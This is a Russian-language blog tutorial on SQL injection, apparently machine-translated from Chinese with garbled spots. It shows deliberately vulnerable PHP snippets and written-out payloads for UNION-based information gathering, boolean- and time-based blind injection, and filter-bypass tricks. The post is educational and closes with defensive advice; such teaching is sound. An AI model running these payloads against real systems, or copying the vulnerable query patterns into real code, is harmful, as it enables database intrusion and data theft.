Торжественное заявление: технология, обсуждаемая в этом сообщении в блоге, предназначена только для исследований и изучения. Она предназначена для повышения осведомленности читателей об информационной безопасности и улучшения навыков защиты информации. Ее использование в незаконных целях строго запрещено. Любое лицо, группа или организация не может использовать его в незаконных целях, а незаконные преступления будут строго наказываться по закону.
сбор информациисуществовать SQL Атаки с внедрением играют важную роль в предоставлении злоумышленникам ключевой целевой базы данных и информации о приложениях, помогая злоумышленникам лучше проводить последующие атаки.
Сбор информации в основном включает в себя следующие аспекты:
Используйте некоторые из следующих команд, чтобы получить соответствующую информацию:
1、select version()
:Получить базу данных Версия;
2、select user()
:Получить базу данных用户名;
3、select database()
:Получить базу данных名;
4、select @@datadir
:Получить базу данных路径;
5、select @@version_compile_os
:Получить операционную систему Версия;
Предположим, часть исходного кода веб-сайта выглядит так:
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result))
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
Затем мы на основе его SQL заявление SELECT * FROM users where name='
При выполнении обычного запроса вы можете узнать, существует ли это имя пользователя или нет. name
,Результаты в конечном итоге будут отображены,Результаты бега следующие:
Затем мы создаем на основе этого какое-то вредоносное заявление, например, используя union
Чтобы выполнить совместный запрос, используйте union
Необходимо убедиться, что количество полей, запрошенных до и после, одинаково, в противном случае будет сообщено об ошибке. Результаты работы следующие:
Затем, основываясь на вышеизложенных принципах, мы можем сопоставить исходный код веб-страницы SQL заявлениевнутри *
представляет 5 поля, результаты работы следующие:
мы можем построить SQL Соберите некоторую информацию, например admin union select version(),user(),database(),4,5--+
,Результаты бега следующие:
Слепое внедрение SQL означает выполнение сетевой безопасность При тестировании или атаке,Метод, с помощью которого злоумышленник определяет уязвимости или слабые места в системе, исследуя реакцию системы. Злоумышленники обычно отправляют конкретные запросы целевой системе.,и наблюдать за реакцией системы,Если результат ответа не соответствует ожидаемому,Тогда может быть лазейка. Постоянно пробуя разные запросы и наблюдая за ответами,Злоумышленник может постепенно получить информацию о целевой системе.,и использовать эту информацию для проведения дальнейших атак.
Предположим, часть исходного кода веб-сайта выглядит так:
$sql = "SELECT * FROM users ORDER BY `";
$sql = mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);
Далее мы будем использовать логический слепойислепой во время способ атаковать.
логический слепой значит делать SQL При инъекции возвращается результат True
или есть False
получить необходимую информацию из базы данных.
Потому что исходный код сайта правильный order by
сращены, поэтому мы больше не можем использовать union
Подождите, пока метод внедрит, и здесь нет вывода ошибок, поэтому используйте логический слепой метод, для облегчения отладки будет BP Отображается в виде захвата пакетов.
Сначала сделайте запрос обычным образом, и результаты будут следующими:
Далее используйте логический слепой, потому что в предыдущем примере уже известно, что имя базы данных exercises
,Поэтому я не буду здесь делать слишком много предположений.,Вставьте заявление следующим образом:
order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))
Объясните вышесказанное SQL заявление,Это предложение SQL Цель состоит в том, чтобы определить первый символ имени базы данных. ASCII 码值是否大于100(e
равно 101), чтобы добиться сортировки условного запроса. Если первый символ ASCII Если значение кода больше 100, будет использоваться имя поля. name
(0x6e616d65) Сортировка по возрастанию, иначе по символам скобок. (
(0x28) ASCII Сортировка по значению кода.
В то же время в этом SQL используются некоторые функции и приемы:
MID()
Функция используется для извлечения некоторых символов из строки.IFNULL()
Функция используется для определения того, является ли имя базы данных пустым. Если оно пусто, возвращается символ пробела. "0x20"。CAST()
Функция используется для преобразования имени базы данных в NCHAR тип.ORD()
Функция, используемая для получения символа ASCII значение кода.CASE WHEN
заявление используется для суждения ASCII Является ли значение кода больше 100.Результаты запуска:
Выведите второй символ имени базы данных SQL заявлениеследующее:
order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))
Остальное можно вывести таким образом.
Кромелогический Кроме слепой, есть и другие слепые. нота способ, типа слепой во времени。
слепой во времени означает, что когда злоумышленник отправляет вредоносный запрос целевому приложению, при наличии слепой во При наличии уязвимостей приложения могут иметь разное время отклика.
При обычном запросе необходимое время выглядит следующим образом:
структураслепой во времени的 SQL заявление:
order=age` and if(ascii(substr(database(),1,1))=101,sleep(1),1)--+
Результаты запуска:
во избежание SQL Атаки путем внедрения: приложение выполняет соответствующую проверку и фильтрацию входных данных, а также hacker Буду ломать голову, придумывая способы обойти,Вот некоторые распространенные Обход。
1. Используйте /*xxx*/
Встроенные комментарии или ()
Чтобы обойти:
SELECT/*1*/username,password/*1*/FROM/*1*/users;
SELECT(username),(password)FROM(users);
2. Используйте %09 %0a %0b %0c %0d %a0
Подождите, пока появится невидимый персонаж. обойти:
%09
:TAB ключ (горизонтальный);%0a
:Создать новую строку;%0b
:TAB ключ (вертикальный);%0c
:новая страница;%0d
:return Функция;%a0
:космос;Предположим, часть исходного кода веб-сайта выглядит так:
if (preg_match('/ /', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
Если инъекция вводится нормально, вы обнаружите, что пространства фильтруются неправильно, что приводит к сбою инъекции:
Поэтому нам нужно заменить пробелы невидимыми символами, ниже мы воспользуемся %a0
Чтобы заменить:
Используйте шестнадцатеричное представление вместо строки, например, шестнадцатеричное представление sidiot — 0x736964696f74:
SELECT username, password FROM users WHERE username=0x736964696f74
1. Используйте from for
Вместо запятых:
# До замены
select substr(database(),1,1);
# После замены
select substr(database() from 1 for 1);
2. Используйте join
Вместо запятых:
# До замены
select 1,2;
# После замены
select * from (select 1)a join (select 2)b;
3. Используйте offset
Вместо запятых:
# До замены
select * from users limit 0,1;
# После замены
select * from users limit 1 offset 0;
1. Используйте like, rlike, regexp
заменять =
:
select * from users where username like 'sidiot';
select * from users where username rlike 'sidiot';
select * from users where username regexp 'sidiot';
2. Используйте greatest()、least()
заменять <>
:
# До замены
select * from users where id=1 and ascii(substr(database(),0,1))<64;
# После замены
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;
select * from users where id=1 and least(ascii(substr(database(),1,1)),64)=64;
and = &&
or = ||
xor = |
not = !
hex()、bin() = ascii()
sleep() = benchmark()
concat_ws() = group_concat()
mid()、substr() = substring()
@@user = user()
@@datadir = datadir()
Я надеюсь, что благодаря объяснениям в этой статье читатели поймут суть SQL Более глубокое понимание уязвимостей внедрения. Узнать о сборе информациисуществовать SQL Важность процесса инъекции и знание некоторых базовых навыков инъекции начального уровня и широко используемых методов обходной инъекции. В то же время, эта статья хочет, чтобы читатели знали о SQL При возникновении серьезных угроз безопасности системы принимайте необходимые меры безопасности на этапах проектирования и разработки, такие как использование параметризованных запросов и ограничение доступа к разрешениям, чтобы создавать более безопасные приложения и защищать безопасность данных.
Торжественное заявление: технология, обсуждаемая в этом сообщении в блоге, предназначена только для исследований и изучения. Она предназначена для повышения осведомленности читателей об информационной безопасности и улучшения навыков защиты информации. Ее использование в незаконных целях строго запрещено. Любое лицо, группа или организация не может использовать его в незаконных целях, а незаконные преступления будут строго наказываться по закону.